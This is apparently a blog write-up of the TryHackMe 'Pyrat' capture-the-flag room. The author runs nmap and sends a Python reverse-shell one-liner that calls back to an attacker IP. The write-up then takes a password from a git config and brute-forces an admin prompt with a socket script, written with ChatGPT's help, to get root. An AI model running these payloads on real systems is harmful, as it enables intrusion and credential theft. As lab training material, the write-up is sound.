THM Pyrat
- aldern00b
- Mar 22
- 7 min read
Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application's older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.
Well I feel like THAT gave us a bit too much information... almost a step by step. Let's see how accurate that is. We're going to do the same thing we do every night Pinky, run an nmap scan for services with their versions and some simple scripting
nmap -sV -sC 10.10.204.107
<..snip..>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=3/16%Time=67D6BC6C%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20de
SF:fined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\
SF:x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<st
SF:ring>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cann
SF:ot\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\
SF:x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x
SF:20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20strin
SF:g\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"s
SF:ource\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Hel
SF:p,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invali
SF:d\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\
SF:x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20
SF:code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,
SF:"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(J
SF:avaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20byt
SF:es\n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\
SF:x20bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x
SF:20null\x20bytes\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OK so let's break it down. We have port 22 (ssh) and 8000 (web) open on this. We can see the web is a simple python web shell - kinda like what we would use for getting our bad scripts ... uh.. I mean "feature updates" downloaded onto a client PC. It might be forwarding requests but we can see it got a website. Let's go visit.

Oooh a raging clue!

Let's try a netcat

hold on... is that running python?... okay I'm not strong in python so we're going to do a LOT of research here. So I looked up how to enumerate the current folder:
import os
[print(item) for item in os.listdir(os.getcwd())]
[Errno 13] Permission denied: '/root'
Ok... so we're in the root folder. Let's try something else... maybe a reverse shell? We'll grab a snippet from https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#python
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.36.85",7337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
Bam. Shell.

We don't really have any permissions. It looks like there's a single user in the home directory called "think". I'm unable to access it though with his lowkey web user. I don't have any sudo permissions because I don't know the www-data password to run sudo l.
OK, so "well known folder".... let's look around.
We find /var/mail/think and there's an email there.
cat /var/mail/think
From root@pyrat Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To: <think@pyrat>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen <root@pyrat>
Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen
Interesting. Let's dig for that github repo
find / -type d -name ".git" 2>/dev/null
/opt/dev/.git
Going there
cd /opt/dev/.git
$ ls -la
total 52
drwxrwxr-x 8 think think 4096 Jun 21 2023 .
drwxrwxr-x 3 think think 4096 Jun 21 2023 ..
drwxrwxr-x 2 think think 4096 Jun 21 2023 branches
-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think 296 Jun 21 2023 config
-rw-rw-r-- 1 think think 73 Jun 21 2023 description
-rw-rw-r-- 1 think think 23 Jun 21 2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21 2023 hooks
-rw-rw-r-- 1 think think 145 Jun 21 2023 index
drwxrwxr-x 2 think think 4096 Jun 21 2023 info
drwxrwxr-x 3 think think 4096 Jun 21 2023 logs
drwxrwxr-x 7 think think 4096 Jun 21 2023 objects
drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
well, well, well.... a plain text password... uhhh another raging clue!
cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = [REDACTED]
Let's see if we can su using this info
$ su think
su think
Password: [REDACTED]
think@Pyrat:/opt/dev/.git$ whoami
whoami
think
Well there we go. Let's go check out the user folder now and see if we can get that first flag.
ls -la /home/think
total 40
drwxr-x--- 5 think think 4096 Jun 21 2023 .
drwxr-xr-x 3 root root 4096 Jun 2 2023 ..
lrwxrwxrwx 1 root root 9 Jun 15 2023 .bash_history -> /dev/null
-rwxr-x--- 1 think think 220 Jun 2 2023 .bash_logout
-rwxr-x--- 1 think think 3771 Jun 2 2023 .bashrc
drwxr-x--- 2 think think 4096 Jun 2 2023 .cache
-rwxr-x--- 1 think think 25 Jun 21 2023 .gitconfig
drwx------ 3 think think 4096 Jun 21 2023 .gnupg
-rwxr-x--- 1 think think 807 Jun 2 2023 .profile
drwx------ 3 think think 4096 Jun 21 2023 snap
-rw-r--r-- 1 root think 33 Jun 15 2023 user.txt
lrwxrwxrwx 1 root root 9 Jun 21 2023 .viminfo -> /dev/null
think@Pyrat:/opt/dev/.git$ cat /home/think/user.txt
[...REDACTED...]
God these clues are getting me excited. Okay so now we need the root flag. How to move from think to root... something about an "older application" 🤔
While digging around, I was concentrating on this github "rootkit" that was seen in the email we found earlier and really wasn't getting anywhere. I kinda spent more ime there than I should have tbh. I decoded to see what was running while looking for a privesc path:
ps aux | more
I found something interesting... Is that the python script running when we did that nc?! I need to see what this file is...
<.. snip ..>
root 576 0.0 0.3 8356 3392 ? S 22:53 0:00 /usr/sbin/CRON -f
root 582 0.0 0.0 2608 600 ? Ss 22:53 0:00 /bin/sh -c python3 /root/pyrat.py 2>/dev/null
root 583 0.0 1.4 21864 14356 ? S 22:53 0:00 python3 /root/pyrat.py
daemon 601 0.0 0.2 3796 2180 ? Ss 22:53 0:00 /usr/sbin/atd -f
root 618 0.0 0.6 12176 6872 ? Ss 22:53 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
Checking out the git status:
git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: pyrat.py.old
no changes added to commit (use "git add" and/or "git commit -a")
OMG look at this hard clue!!! How do I get that deleted file and see that beautiful clue.... Let's see if they only deleted it locally but it's still being tracked in git (BTW, I don't do a lot in github so this took a lot of research for me)
git checkout -- pyrat.py.old
Oh baby mmm, this clue has me soooo excited.
think@Pyrat:/opt/dev$ cat pyrat.py.old
...............................................
def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_enpoint(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0):
change_uid()
if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e
...............................................
OK... I won't lie this is where chatGPT came in and helped me understand this script and then brainstorm some ideas. Here's the python script it came up with for me. Also, as a note - it said to find endpoints, which I assumed was other PCs but chatGPT helped me understand it's actually just sending commands to that running app "pyrat.py" we saw running as root under the ps aux command we ran earlier.
import socket
import time
# Define target details
target_host = "victim_IP"
target_port = 8000
endpoint_list = ["some_endpoint", "admin", "login", "shell"] # Replace with your actual endpoints
log_file = "responses.log"
def log_response(endpoint, response):
"""Log the endpoint and its response to a file."""
with open(log_file, "a") as log:
log.write(f"Endpoint: {endpoint}\nResponse: {response}\n\n")
def test_endpoint(endpoint):
"""Connect to the target, send the endpoint, and log the response."""
try:
# Create a socket connection
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((target_host, target_port))
# Send the endpoint
client_socket.sendall(f"{endpoint}\n".encode())
# Receive the response
response = client_socket.recv(4096).decode() # Adjust buffer size as needed
print(f"Tested: {endpoint} | Response: {response}")
# Log the response
log_response(endpoint, response)
# Simulate Ctrl-C by closing the connection
client_socket.close()
# Pause before reconnecting
time.sleep(1)
except Exception as e:
print(f"Error testing endpoint '{endpoint}': {e}")
log_response(endpoint, f"Error: {e}")
def main():
for endpoint in endpoint_list:
test_endpoint(endpoint)
if __name__ == "__main__":
main()
Anyway, here's the responses I got with the "endpoints" it suggested:
python3 findit.py
Tested: some_endpoint | Response: name 'some_endpoint' is not defined
Tested: admin | Response: Password:
Tested: login | Response: name 'login' is not defined
Tested: shell | Response: $
admin looks interesting and the instructions mention fuzzing passwords so let's do that. Testing the response with a manual connect we see that if we just supply admin/admin it just asks for the password again when it's wrong. This gives us a response to deal with.
Let's start fuzzing. Using the old script, we modify it to do passwords instead of commands:
import socket
import time
# Define target details
target_host = "10.10.34.251"
target_port = 8000
log_file = "responsePWD.log"
wordlist_file = "/usr/share/wordlists/rockyou.txt"
endpoint = "admin"
def log_response(endpoint, response):
"""Log the endpoint and its response to a file."""
with open(log_file, "a") as log:
log.write(f"Endpoint: {endpoint}\nResponse: {response}\n\n")
def test_endpoint(endpoint, pwd):
"""Connect to the target, send the admin command, log the response"""
try:
#Create a socket connection
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((target_host, target_port))
#Send the admin command
client_socket.sendall(f"{endpoint}\n".encode())
response = client_socket.recv(4096).decode().strip()
log_response(endpoint, response or "[Blank Response]")
#Pause
time.sleep(1)
#Send the password
client_socket.sendall(f"{pwd}\n".encode())
responsepwd = client_socket.recv(4096).decode().strip()
log_response(pwd, responsepwd or "[Blank Response]")
#Send Ctrl+C
client_socket.close()
except Exception as e:
print(f"Error testing password '{pwd}': {e}")
log_response(pwd, f"Error: {e}")
def main():
# Read pwds from the file
try:
with open(wordlist_file, "r", encoding="latin-1") as file:
pwd_list = [line.strip() for line in file if line.strip()]
except FileNotFoundError:
print(f"worlist file not found: {wordlist_file}")
return
for pwd in pwd_list:
test_endpoint(endpoint, pwd)
if __name__ == "__main__":
main()
this starts going through the passwords and we get our match! Ignore where it says "Endpoint", that's supposed to read Password... but you get the idea here.
<..snip..>
Endpoint: admin
Response: Password:
Endpoint: 12345678
Response: Password:
Endpoint: admin
Response: Password:
Endpoint: [REDACTED]
Response: Welcome Admin!!! Type "shell" to begin
Let's go back and manually connect with this information now and get the root flag
nc 10.10.34.251 8000
admin
Password:
[REDACTED]
Welcome Admin!!! Type "shell" to begin
shell
# whoami
root
# cd /root
# cat root.txt
[REDACTED]
OMG these clues went all over the place. It was messy but we got the job done.
Comments